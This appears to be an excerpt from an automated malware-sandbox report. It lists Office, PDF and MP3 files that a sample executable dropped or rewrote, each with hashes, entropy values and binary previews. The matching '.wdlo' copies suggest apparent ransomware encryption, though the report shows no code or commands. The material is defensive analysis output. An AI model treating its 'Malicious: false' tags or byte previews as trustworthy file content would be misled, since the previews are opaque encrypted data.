Preview:	GAOBCE.5.u!...A.\../.......W......U.3...$}X8\.9........KE#.}.\|i....d.....Qw...>...u...g..gR.7....}k.7.?}.H[gn.. r8..Px.5....Z.O.C......f#;.!p...{.s..{.&.os....E=...[.....vbZ[e..Z.s..u(Q.h.02'k...]}.U=.R...i....\|......S.^&...b......Ql.......k.6......ge".6...l r...r.[G./.B..M.l.,...Qn.6...~r~....zf...Q...XT.0&..=..^_E.R@p;d......D.Jh$n.g.......d..%t....._v...:.[.7.....QL....)H$.u<..an.;........T...k..)Y.a.k:.K.>...9..V]\.Vd...V..-..I)......../...Ck.."$.Q.Q..P;......d.r.x.b..8.&u...q...{.3}......n....X....1...IE.....g/.....5.....}...W.-.lf...Q...t-/.....\.u..{....k.h..<H.o..$.....q..0.I2..V.X*$\|!. '.a.q\"....2.p.^....B.....ai...,R.........F.....!I.P...(z:&..p.7.{+.v.....5(x0..H/rn0@...r1.7...2:E....?..h.E.=\Cz.....F...pi:..5..Mj...SQ.Pc.Q.....l.tg...u...H\|..0.q@.4....a.+}...yO8.#....Z..p..s^.{.uk..c .H..<&W...0v.=.vrROP.~.p...x..+.;....{....G..Eg.O...%b.d.X..I..E..z....O /n...G.bF$..D.Ws1..A.6..M..,kq.?...:.?...$...P....j.\h

C:\Users\user\Documents\GAOBCVIQIJ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8491330284902
Encrypted:	false
SSDEEP:	24:xOuD0yCoqcKhi1KNNMzUJ6m1YArm4ql3MV0digWEuY5f4O2Mkl+3zbD:xOuIPoq+1WCzQf1YArmYCTugf12tl+3D
MD5:	DE3EF4CD5A3E8F673BC9016F620592FB
SHA1:	4613BB7F33AE0F46240DD6E3FCB08A633EDB2892
SHA-256:	20A2F9E4B9FAEAEB65DD0055B7AFDCCC78FCFA862AB32F22E13B0A03EDE61C3A
SHA-512:	246826781BDDE8F0EE380C3F1A008E0D54C579B8DB6D1F298F99E256C5CA11D3EB61E8A1841DB65248712066C70F719F459FA0B834590B6A15FE06C5FB6DF18E
Malicious:	false
Preview:	GAOBCE.5.u!...A.\../.......W......U.3...$}X8\.9........KE#.}.\|i....d.....Qw...>...u...g..gR.7....}k.7.?}.H[gn.. r8..Px.5....Z.O.C......f#;.!p...{.s..{.&.os....E=...[.....vbZ[e..Z.s..u(Q.h.02'k...]}.U=.R...i....\|......S.^&...b......Ql.......k.6......ge".6...l r...r.[G./.B..M.l.,...Qn.6...~r~....zf...Q...XT.0&..=..^_E.R@p;d......D.Jh$n.g.......d..%t....._v...:.[.7.....QL....)H$.u<..an.;........T...k..)Y.a.k:.K.>...9..V]\.Vd...V..-..I)......../...Ck.."$.Q.Q..P;......d.r.x.b..8.&u...q...{.3}......n....X....1...IE.....g/.....5.....}...W.-.lf...Q...t-/.....\.u..{....k.h..<H.o..$.....q..0.I2..V.X*$\|!. '.a.q\"....2.p.^....B.....ai...,R.........F.....!I.P...(z:&..p.7.{+.v.....5(x0..H/rn0@...r1.7...2:E....?..h.E.=\Cz.....F...pi:..5..Mj...SQ.Pc.Q.....l.tg...u...H\|..0.q@.4....a.+}...yO8.#....Z..p..s^.{.uk..c .H..<&W...0v.=.vrROP.~.p...x..+.;....{....G..Eg.O...%b.d.X..I..E..z....O /n...G.bF$..D.Ws1..A.6..M..,kq.?...:.?...$...P....j.\h

C:\Users\user\Documents\GAOBCVIQIJ.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865561300767632
Encrypted:	false
SSDEEP:	24:mkPRuM0WMoHDTKsHfRVKCmRtXjkpoxCDvIaowcMwkgkkZ1dBFL3zbD:mWbMkOe/KjtlOvgwc4kLRL3nD
MD5:	51296B30DD6FCCE60635BC1F1748F095
SHA1:	34F712877FCD0BAE2CB802589551D1F787605405
SHA-256:	E1830FE7C643DB8AC17EB9A680EAB13CEA19BCF5FAE93C3B97911DAC1E6D8ACE
SHA-512:	8C79510FCABFDEC883E924A050E1A121106B28C7964074E2D6B844BC051F5A65125879BC7F25E4189704E0F1DA9F431034C65B9D7A582B71164A7667D1A6C302
Malicious:	false
Preview:	GAOBC._.........T.v..:....h,\|..E.xd.._..>6..:..91U..y<..k..;..PK.d.ki......l`.........w..m._.h=ZCk.......x.Gl..Q....p.....I..._.r..<..cB5....v............4'j.Z..R...S..v.-.u..m1.xx.T.....#$G/..7..]."s.....k.(..2e.L.%.... .....M`..L.z...rr.\..K.....H.:.........F..D..9)..2....3].K/3.]. ...-i.&.....E.tE.4..]..K..~+..*...3.u....@..'.?B./...k.....I..5V\.2\]..MQ.u.....:......R..2...-,......kX......y...F.EB5r.ss..].T..Q......i.F......u....`...A.=7L..qm.{.....'.,....W4..S......'....Q.......hb8..F..-B..&.X..)....5p.9..US......4W2..y1..V.J.$..."..!c......w.".]@..a+{......6.P.$.-.G........-\|....J.1<..\|G?.M....f.n..(4.o.gy......\|.....'.K0...._6@ .o........U..R.Ov...3n.`.~..t._..4.....9.U^...6LGt.O.. .9.#.....9....[.\C...@(~..@...C._...b..i.i4"...d........r.PL.[P....z\|T_..B....=Z...P.d.....DA.j.......y.%..q.....O....J..<....P}...%JT.4..{.x..5.".L...UW..W%.O.W.$..........z....(..gIX...~.^..m.rgd.9...8&OX~.6....O3..4.y...Z..:V.C".yy..+/..P..W. .@......t....

C:\Users\user\Documents\GAOBCVIQIJ.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865561300767632
Encrypted:	false
SSDEEP:	24:mkPRuM0WMoHDTKsHfRVKCmRtXjkpoxCDvIaowcMwkgkkZ1dBFL3zbD:mWbMkOe/KjtlOvgwc4kLRL3nD
MD5:	51296B30DD6FCCE60635BC1F1748F095
SHA1:	34F712877FCD0BAE2CB802589551D1F787605405
SHA-256:	E1830FE7C643DB8AC17EB9A680EAB13CEA19BCF5FAE93C3B97911DAC1E6D8ACE
SHA-512:	8C79510FCABFDEC883E924A050E1A121106B28C7964074E2D6B844BC051F5A65125879BC7F25E4189704E0F1DA9F431034C65B9D7A582B71164A7667D1A6C302
Malicious:	false
Preview:	GAOBC._.........T.v..:....h,\|..E.xd.._..>6..:..91U..y<..k..;..PK.d.ki......l`.........w..m._.h=ZCk.......x.Gl..Q....p.....I..._.r..<..cB5....v............4'j.Z..R...S..v.-.u..m1.xx.T.....#$G/..7..]."s.....k.(..2e.L.%.... .....M`..L.z...rr.\..K.....H.:.........F..D..9)..2....3].K/3.]. ...-i.&.....E.tE.4..]..K..~+..*...3.u....@..'.?B./...k.....I..5V\.2\]..MQ.u.....:......R..2...-,......kX......y...F.EB5r.ss..].T..Q......i.F......u....`...A.=7L..qm.{.....'.,....W4..S......'....Q.......hb8..F..-B..&.X..)....5p.9..US......4W2..y1..V.J.$..."..!c......w.".]@..a+{......6.P.$.-.G........-\|....J.1<..\|G?.M....f.n..(4.o.gy......\|.....'.K0...._6@ .o........U..R.Ov...3n.`.~..t._..4.....9.U^...6LGt.O.. .9.#.....9....[.\C...@(~..@...C._...b..i.i4"...d........r.PL.[P....z\|T_..B....=Z...P.d.....DA.j.......y.%..q.....O....J..<....P}...%JT.4..{.x..5.".L...UW..W%.O.W.$..........z....(..gIX...~.^..m.rgd.9...8&OX~.6....O3..4.y...Z..:V.C".yy..+/..P..W. .@......t....

C:\Users\user\Documents\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863994942932529
Encrypted:	false
SSDEEP:	24:2hybfQE2kgv7D+e0MdlVsSTf4VPb+Gt/8recbPBrJTSZ2vpxd3zbD:2wfQO26e0Yl6wWiGt/AbJJ4Uxd3nD
MD5:	68BC56FA19FB1484E2094B195486F60E
SHA1:	8BAB1365AF2F085C5FA6D7A3070BA1BD42B56447
SHA-256:	AB0D383C9C3F47244BB1CBC8FE7CC357DC6FF8792517723E690211705523FC90
SHA-512:	F482913D888E512A06DC88E9BEE75D303A1277245F7CF2D761891C3E2C1FA4855C789CC90609D97F543CCC7ED322E641A7108A84CCA82E20D7F898BB5830DC5B
Malicious:	false
Preview:	IPKGE&..!.......&.....4......SI....6......U5.&.&.Nk...UL..\.8fD.....n.k\|..x......1g)2...p.3..D}j.......V..s...Oqn.....p.....l..f$../....W..x..R@..?~..o..&F........w..?F....ak.]....-..'...X.[.HP..(...-z..D.y....w..e.Z.G.l..cr..diz1.+9.....i....]..0_.\q.,9....5BG9.e......=.ey(.^....a......!.mG...{..06>......v..r.....f.~g.`g....m..i..).[$.....q..k.{]....A.H.{..?w}...LC.g...&t!..&/p....................d.c..aXR......<..\|....."..."K.n.n.Pi.......%....... Y.U8.b..DwY/.Y..)E...\!.7......Y.M.........#.....'..Mh.x.\|..#.-[.s.S.!.(.qz..0,..{.o{.....g.Nu...>..4.../.r...\.U].!<'.....5m.r.(...S...l.....D.A..=cm..[....4 ..m..1>.VD#...........C..&..i......KqjO....}...Gz".8q....)..(.y...=-.g.....n...l.y..E......i...'>........M.........j.._.Y._mu.f.V{XGL+I....v...../. .W...1.b........5.....=.5.........9LMZ ..oUw...S<d.....=...=.TIy?.L.9.-.ql ...j_<L]0.&j..(.n./>S..........Am./I...T?.....7%qs......%I.u.{{......-.b.....T.{....x..B.......P..E...]..6.l.."

C:\Users\user\Documents\IPKGELNTQY.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863994942932529
Encrypted:	false
SSDEEP:	24:2hybfQE2kgv7D+e0MdlVsSTf4VPb+Gt/8recbPBrJTSZ2vpxd3zbD:2wfQO26e0Yl6wWiGt/AbJJ4Uxd3nD
MD5:	68BC56FA19FB1484E2094B195486F60E
SHA1:	8BAB1365AF2F085C5FA6D7A3070BA1BD42B56447
SHA-256:	AB0D383C9C3F47244BB1CBC8FE7CC357DC6FF8792517723E690211705523FC90
SHA-512:	F482913D888E512A06DC88E9BEE75D303A1277245F7CF2D761891C3E2C1FA4855C789CC90609D97F543CCC7ED322E641A7108A84CCA82E20D7F898BB5830DC5B
Malicious:	false
Preview:	IPKGE&..!.......&.....4......SI....6......U5.&.&.Nk...UL..\.8fD.....n.k\|..x......1g)2...p.3..D}j.......V..s...Oqn.....p.....l..f$../....W..x..R@..?~..o..&F........w..?F....ak.]....-..'...X.[.HP..(...-z..D.y....w..e.Z.G.l..cr..diz1.+9.....i....]..0_.\q.,9....5BG9.e......=.ey(.^....a......!.mG...{..06>......v..r.....f.~g.`g....m..i..).[$.....q..k.{]....A.H.{..?w}...LC.g...&t!..&/p....................d.c..aXR......<..\|....."..."K.n.n.Pi.......%....... Y.U8.b..DwY/.Y..)E...\!.7......Y.M.........#.....'..Mh.x.\|..#.-[.s.S.!.(.qz..0,..{.o{.....g.Nu...>..4.../.r...\.U].!<'.....5m.r.(...S...l.....D.A..=cm..[....4 ..m..1>.VD#...........C..&..i......KqjO....}...Gz".8q....)..(.y...=-.g.....n...l.y..E......i...'>........M.........j.._.Y._mu.f.V{XGL+I....v...../. .W...1.b........5.....=.5.........9LMZ ..oUw...S<d.....=...=.TIy?.L.9.-.ql ...j_<L]0.&j..(.n./>S..........Am./I...T?.....7%qs......%I.u.{{......-.b.....T.{....x..B.......P..E...]..6.l.."

C:\Users\user\Documents\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853478815590283
Encrypted:	false
SSDEEP:	24:iLdfbsmSS3Nk8+JuTsNqW/EDINWmiIUkFcofkdnwRW3zbD:izTG8+ATsNR/kIlicFtkdnF3nD
MD5:	03ACDDC85956673F144FB06D82D03F69
SHA1:	AE1A37F7BC43425FCECE175FAC943B5C2E43E24F
SHA-256:	76818A2DF2B8CFD04F14F8E1D067F7FEA00CD6FCE433AF0B84AAD2CEF77D65DA
SHA-512:	497770289CA0E3F3A547267CDC312FB72E4C072D091A9B7CAC558986F87A5E6DF616A5727D089A73536F1841B114DDEEECE151B208F61004D3F10E9E6B5DD417
Malicious:	false
Preview:	IPKGE.1,..4N-.Z.:o]..y.7.[.6..yH...m.][...Z.] .%k.(SDH2h1..K..<9..[?....2r..{T)Jm...U.:..P5:V .^ -6.iZ.J.v<......8v6.-;.".1.....<.L$..`..F.........f1;..&.c...w..;y.......[..._.\]..S.[9&...[....iJa..#"8q....%....J.N....;.l8&.-.&DAE\|v...B..JJ/....Xh.k.b.[.}...b.....j.;..'.Q.G....S..x.f.q.^.$h..iN.'.?!..6...@...f.c./u..u.+....\|.b..J\.........}.....s..A........g...y...3..in.M..YR.^%,...91:.x.L.(.#er..M.5.'... ...h..K..>.``/.....K.....9\|..Ip.6..RX...@......a..S.&.7...Uj.z..k.6<.'..QFC.a.!..Z.W..gQ.8B.T.........4./]&J.('..c....r........\<..o.hR:.L.q._...70.6.....5......`.<..U0.......=.d.2).....Z. R.?.Ni.......\|A1J..U..J.I.....X..qu.WtOrj...:..d...v....".."C.h>25....../....i......D..5..Z.#....&.@.)z..c.G.....$..c..}..GH..9._?.F.(......e5..=~...pLr..%.-O.*.bg....a.....r.g.G......[O.....#H.x c....$..%+E`G@...CR.NB.F.....x.6.t.\3..q.e.URo0.`...;.?.@.[.Mj..\|........H$c....!b.D=i.f.....2..\|.5...R......'.N.............../G..Nr.....m...B.j./..

C:\Users\user\Documents\IPKGELNTQY.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853478815590283
Encrypted:	false
SSDEEP:	24:iLdfbsmSS3Nk8+JuTsNqW/EDINWmiIUkFcofkdnwRW3zbD:izTG8+ATsNR/kIlicFtkdnF3nD
MD5:	03ACDDC85956673F144FB06D82D03F69
SHA1:	AE1A37F7BC43425FCECE175FAC943B5C2E43E24F
SHA-256:	76818A2DF2B8CFD04F14F8E1D067F7FEA00CD6FCE433AF0B84AAD2CEF77D65DA
SHA-512:	497770289CA0E3F3A547267CDC312FB72E4C072D091A9B7CAC558986F87A5E6DF616A5727D089A73536F1841B114DDEEECE151B208F61004D3F10E9E6B5DD417
Malicious:	false
Preview:	IPKGE.1,..4N-.Z.:o]..y.7.[.6..yH...m.][...Z.] .%k.(SDH2h1..K..<9..[?....2r..{T)Jm...U.:..P5:V .^ -6.iZ.J.v<......8v6.-;.".1.....<.L$..`..F.........f1;..&.c...w..;y.......[..._.\]..S.[9&...[....iJa..#"8q....%....J.N....;.l8&.-.&DAE\|v...B..JJ/....Xh.k.b.[.}...b.....j.;..'.Q.G....S..x.f.q.^.$h..iN.'.?!..6...@...f.c./u..u.+....\|.b..J\.........}.....s..A........g...y...3..in.M..YR.^%,...91:.x.L.(.#er..M.5.'... ...h..K..>.``/.....K.....9\|..Ip.6..RX...@......a..S.&.7...Uj.z..k.6<.'..QFC.a.!..Z.W..gQ.8B.T.........4./]&J.('..c....r........\<..o.hR:.L.q._...70.6.....5......`.<..U0.......=.d.2).....Z. R.?.Ni.......\|A1J..U..J.I.....X..qu.WtOrj...:..d...v....".."C.h>25....../....i......D..5..Z.#....&.@.)z..c.G.....$..c..}..GH..9._?.F.(......e5..=~...pLr..%.-O.*.bg....a.....r.g.G......[O.....#H.x c....$..%+E`G@...CR.NB.F.....x.6.t.\3..q.e.URo0.`...;.?.@.[.Mj..\|........H$c....!b.D=i.f.....2..\|.5...R......'.N.............../G..Nr.....m...B.j./..

C:\Users\user\Documents\IPKGELNTQY\BNAGMGSPLO.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825289028324406
Encrypted:	false
SSDEEP:	24:yiS3mOn2+DQuWG2khSR06D58BkYeVchyPvc71HoqX17vF7Cd93zbD:tsmOlDzcyO06oxeVGMk71oUE3nD
MD5:	47947040DA09CD63013BA35467F0A4FB
SHA1:	9C03F29EC1C6EFA797187BD14F48BB1BA7384034
SHA-256:	17F2AFCB6290672F0A3A54FF2E285CB44F648665886000E0990095A6A52A78DE
SHA-512:	B56D1A10CDFDA93F9BF53E37A33614911331997220FB8E724EA8368EEB53275013D8ABD1B0D03A8E937A0758D547E71EC2C71724452D5FF95AB8E49306C0B130
Malicious:	false
Preview:	BNAGM....PQ.=....@..h....Y.c......M...aR....W.......$..o.......^f..#.kmO9............`Ae.I.....G.._....\|TmC&8....;0.w9................U.=... ..h.&.!._...h.k..o%....r59.....7...%..u.o...L...8.8.....X..F.)]1........p.da0)c....d....._.C\g.._..C.;=...._8.o..+-$.w....9G....1..U.d....H..V.U....9....4..h!....~d&k`t.%(....p..~..@NT./.#.u.:..D...N.Q...\|...$/>........?^.......7....f\|NH...M.8...+.I..f...,...f..<.8O..1e.._...E>..x.....`}=.k....zu...Sm..#....}.X2.&L.6.w...X.p_.I._.x...c..6@...Rt.;D,...^....o...........~.e....\<..0.....;.sc1._&Fe....\|.s.`..,..}&.m...Ce.q..h.,W)....U...2x..&...U.]...'?.yf..I........'4....n......r.@s-..J.]\|+G.f..P.1.\...}.76.._...=,PW&...F.p.HB.w.r.Nz.J.Bq.....u...GW".D....y...3N}...i'..].7...Y.(.....D.w....W.).....)$e[S.F0i)..g...d@..j..hA.2g.^.b.3.G.-.xj....>..u.V`.....Z.gNv^Gc.fH!...M...IWT...p...}........tW.x".k..}./3{..T.e...f.S3...F...s4Y.q.~D5]..Q.......E.J...2...,.M4.. .e...vW..R.WU....G....N.eO..5..f..p)....

C:\Users\user\Documents\IPKGELNTQY\BNAGMGSPLO.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825289028324406
Encrypted:	false
SSDEEP:	24:yiS3mOn2+DQuWG2khSR06D58BkYeVchyPvc71HoqX17vF7Cd93zbD:tsmOlDzcyO06oxeVGMk71oUE3nD
MD5:	47947040DA09CD63013BA35467F0A4FB
SHA1:	9C03F29EC1C6EFA797187BD14F48BB1BA7384034
SHA-256:	17F2AFCB6290672F0A3A54FF2E285CB44F648665886000E0990095A6A52A78DE
SHA-512:	B56D1A10CDFDA93F9BF53E37A33614911331997220FB8E724EA8368EEB53275013D8ABD1B0D03A8E937A0758D547E71EC2C71724452D5FF95AB8E49306C0B130
Malicious:	false
Preview:	BNAGM....PQ.=....@..h....Y.c......M...aR....W.......$..o.......^f..#.kmO9............`Ae.I.....G.._....\|TmC&8....;0.w9................U.=... ..h.&.!._...h.k..o%....r59.....7...%..u.o...L...8.8.....X..F.)]1........p.da0)c....d....._.C\g.._..C.;=...._8.o..+-$.w....9G....1..U.d....H..V.U....9....4..h!....~d&k`t.%(....p..~..@NT./.#.u.:..D...N.Q...\|...$/>........?^.......7....f\|NH...M.8...+.I..f...,...f..<.8O..1e.._...E>..x.....`}=.k....zu...Sm..#....}.X2.&L.6.w...X.p_.I._.x...c..6@...Rt.;D,...^....o...........~.e....\<..0.....;.sc1._&Fe....\|.s.`..,..}&.m...Ce.q..h.,W)....U...2x..&...U.]...'?.yf..I........'4....n......r.@s-..J.]\|+G.f..P.1.\...}.76.._...=,PW&...F.p.HB.w.r.Nz.J.Bq.....u...GW".D....y...3N}...i'..].7...Y.(.....D.w....W.).....)$e[S.F0i)..g...d@..j..hA.2g.^.b.3.G.-.xj....>..u.V`.....Z.gNv^Gc.fH!...M...IWT...p...}........tW.x".k..}./3{..T.e...f.S3...F...s4Y.q.~D5]..Q.......E.J...2...,.M4.. .e...vW..R.WU....G....N.eO..5..f..p)....

C:\Users\user\Documents\IPKGELNTQY\GAOBCVIQIJ.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859592100695796
Encrypted:	false
SSDEEP:	24:WBUg+bvnJuQdkDzqV3vVwpxLSSwc30lr3/GDS7S2MxzYX6jN8QnND3zbD:W+g+bsQdszdzPwc6r337S2j6j5B3nD
MD5:	9718A7792837CF1C90463B2144E1C238
SHA1:	75CF2C14774617FB61177D6360CADE1FC0CE04C4
SHA-256:	7F95029DC681BC83A0F9262E69834EBFD64CF35B40B3BB127768F1C79B422138
SHA-512:	FF4FFCD23D0C475A09D7155FCB0AB9006C7BE14A0B589120A18F6C882373B9322B7BF667F16207F3A90EAB75A8D0FC09E5FE7BAD8D573629A202AF7ABBD20B74
Malicious:	false
Preview:	GAOBC..~.7.........j....MM.................if.......CM.B"..R..9...l.o.k.[.L.$'.....".S..mU...^..S..8c.y...?........n.....<.........L.....C~...k~..@..(9[..<...R..^{...E..MX..=........Z....-..{..f...8..D...@.'.2..W..L..O#}o.[.r.oe....M....5.s..q......?.B.P..k)....T.u..!..K=.e$....U9...#..O..E.d.h.b..,:...@....p.(&..........R.Z._..G..v.......&...;..........bd. ..q..:.jcdi..h.H......G..Nr).'.7..k7V..z..9.W.&.a...j.f....$J..K.DF.......b...<..s...?$K.@..[...u../.d^.......%U........../b.Ci8`<d"....E....Kxj.$-X._..P\|.[....M!l...s....,d..<<H.....~`.=.`).g..&....i%3~..lv6i...5.(....L.tl..P.)...J`..R..{P...c..gt+.;X..f7.E.\.].O.3..LIE..P.X...Qb..C..39}{....&F..!........Vz....yv..To~/2\|....@.m......o...bv..!V~...j....?...m=.b....~.Kn.,.U.>...TJ[qy....).F....1h...v.....d.]....uN..+.e..S^F.....y..r.B...N[....{....7)..zL!.l..%.....&....oo.!.g..8.o .9.../P...`O..E)...@tV.>"..>..=..mk...a.D%nU?v~...Ns.P..8.*.jw'Q..q=^..6..#v..t'.1.....?;6.4L...9

C:\Users\user\Documents\IPKGELNTQY\GAOBCVIQIJ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859592100695796
Encrypted:	false
SSDEEP:	24:WBUg+bvnJuQdkDzqV3vVwpxLSSwc30lr3/GDS7S2MxzYX6jN8QnND3zbD:W+g+bsQdszdzPwc6r337S2j6j5B3nD
MD5:	9718A7792837CF1C90463B2144E1C238
SHA1:	75CF2C14774617FB61177D6360CADE1FC0CE04C4
SHA-256:	7F95029DC681BC83A0F9262E69834EBFD64CF35B40B3BB127768F1C79B422138
SHA-512:	FF4FFCD23D0C475A09D7155FCB0AB9006C7BE14A0B589120A18F6C882373B9322B7BF667F16207F3A90EAB75A8D0FC09E5FE7BAD8D573629A202AF7ABBD20B74
Malicious:	false
Preview:	GAOBC..~.7.........j....MM.................if.......CM.B"..R..9...l.o.k.[.L.$'.....".S..mU...^..S..8c.y...?........n.....<.........L.....C~...k~..@..(9[..<...R..^{...E..MX..=........Z....-..{..f...8..D...@.'.2..W..L..O#}o.[.r.oe....M....5.s..q......?.B.P..k)....T.u..!..K=.e$....U9...#..O..E.d.h.b..,:...@....p.(&..........R.Z._..G..v.......&...;..........bd. ..q..:.jcdi..h.H......G..Nr).'.7..k7V..z..9.W.&.a...j.f....$J..K.DF.......b...<..s...?$K.@..[...u../.d^.......%U........../b.Ci8`<d"....E....Kxj.$-X._..P\|.[....M!l...s....,d..<<H.....~`.=.`).g..&....i%3~..lv6i...5.(....L.tl..P.)...J`..R..{P...c..gt+.;X..f7.E.\.].O.3..LIE..P.X...Qb..C..39}{....&F..!........Vz....yv..To~/2\|....@.m......o...bv..!V~...j....?...m=.b....~.Kn.,.U.>...TJ[qy....).F....1h...v.....d.]....uN..+.e..S^F.....y..r.B...N[....{....7)..zL!.l..%.....&....oo.!.g..8.o .9.../P...`O..E)...@tV.>"..>..=..mk...a.D%nU?v~...Ns.P..8.*.jw'Q..q=^..6..#v..t'.1.....?;6.4L...9

C:\Users\user\Documents\IPKGELNTQY\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8516906652537415
Encrypted:	false
SSDEEP:	24:M6t4HJukAikReviflqJ6IaTApbvrQz3iwNPZglsWBxaJdlIZKGPh/nTD3zbD:nt4cikRevGlO20zQLTglsWBxakKwhf/T
MD5:	A0683DFED348F6548F1F7127065DF93D
SHA1:	14ED80BDC68A829DE12B90B28E933824AC176254
SHA-256:	97BDC6BCD1F0D881CA8607A53970A9B8C929E59567F226D7FE75F8055F7642BC
SHA-512:	9347FF4850632F91EE6534229720289D0BACDF049E434CE1BDBB1F964110808290FAB0ED6166A6A2476DFD29FE8D364B7686966B94AEE53FBFAAF10CA4A0097B
Malicious:	false
Preview:	IPKGE9.Ps..b....EF..~.N...I.K.A3......?".o.xL.(HZ.r5.....q..A.$M.e.....4..S...?........BaH.k.]g.J.<...+L.R..b....-._..0.2. s..RI"..C1.e..e>q.r......h2.h...@.z._...9Z.9Ogx..H......x.C..H...tl.M..2.k..p...`Vu.Qc&..y.h...X...LF.^...(......).%../..m..S ..?=..d.?....aC...~:@......f_e.CA.....4D..l.@M.h..D9p.4W.....j.#.....2da;y...1q.....l...J...U.E+.@..<...M.r.j..:..2Q.?....a.......`m:.....O.v..#...A\&z.....$.`3.H.sa.t.S..$.LX.).I......k.N>y..E...1.!-}...2.Fx~....^e.........z.9...IAnf.,nd.....q...pW..g..71....vx.H..:.....;.%\.....9.j.......A.R.._!...^.S.~.f...@w..X...VH.NOgmB.l......FC.aF.Q^.G.A..7..wu...CO...G...Z..Z.....lnp-Ku......I}S...uC\|c3Z..{.9?..'.O)B`W...l3.....g.......L..uS.C.,.~n..0..}.....q&u..i ?.,loF....M..=.}.3...y.M.9..LY.!H.]..\|R.......a..=s"..m...*.~(..L..,.@..o....a+.K...^u.}.].c.......U....U.\|#nJ...},...p.;.>'.$.)'....j..Y.aYO.r...........W...7X~..v@.L.z..IF...}U!.W`bxw!.JG..#....N..o7..0.^...(.Ga...k...H%5G.=.}.\(n..+(....^u.~

C:\Users\user\Documents\IPKGELNTQY\IPKGELNTQY.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8516906652537415
Encrypted:	false
SSDEEP:	24:M6t4HJukAikReviflqJ6IaTApbvrQz3iwNPZglsWBxaJdlIZKGPh/nTD3zbD:nt4cikRevGlO20zQLTglsWBxakKwhf/T
MD5:	A0683DFED348F6548F1F7127065DF93D
SHA1:	14ED80BDC68A829DE12B90B28E933824AC176254
SHA-256:	97BDC6BCD1F0D881CA8607A53970A9B8C929E59567F226D7FE75F8055F7642BC
SHA-512:	9347FF4850632F91EE6534229720289D0BACDF049E434CE1BDBB1F964110808290FAB0ED6166A6A2476DFD29FE8D364B7686966B94AEE53FBFAAF10CA4A0097B
Malicious:	false
Preview:	IPKGE9.Ps..b....EF..~.N...I.K.A3......?".o.xL.(HZ.r5.....q..A.$M.e.....4..S...?........BaH.k.]g.J.<...+L.R..b....-._..0.2. s..RI"..C1.e..e>q.r......h2.h...@.z._...9Z.9Ogx..H......x.C..H...tl.M..2.k..p...`Vu.Qc&..y.h...X...LF.^...(......).%../..m..S ..?=..d.?....aC...~:@......f_e.CA.....4D..l.@M.h..D9p.4W.....j.#.....2da;y...1q.....l...J...U.E+.@..<...M.r.j..:..2Q.?....a.......`m:.....O.v..#...A\&z.....$.`3.H.sa.t.S..$.LX.).I......k.N>y..E...1.!-}...2.Fx~....^e.........z.9...IAnf.,nd.....q...pW..g..71....vx.H..:.....;.%\.....9.j.......A.R.._!...^.S.~.f...@w..X...VH.NOgmB.l......FC.aF.Q^.G.A..7..wu...CO...G...Z..Z.....lnp-Ku......I}S...uC\|c3Z..{.9?..'.O)B`W...l3.....g.......L..uS.C.,.~n..0..}.....q&u..i ?.,loF....M..=.}.3...y.M.9..LY.!H.]..\|R.......a..=s"..m...*.~(..L..,.@..o....a+.K...^u.}.].c.......U....U.\|#nJ...},...p.;.>'.$.)'....j..Y.aYO.r...........W...7X~..v@.L.z..IF...}U!.W`bxw!.JG..#....N..o7..0.^...(.Ga...k...H%5G.=.}.\(n..+(....^u.~

C:\Users\user\Documents\IPKGELNTQY\LSBIHQFDVT.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834270973813883
Encrypted:	false
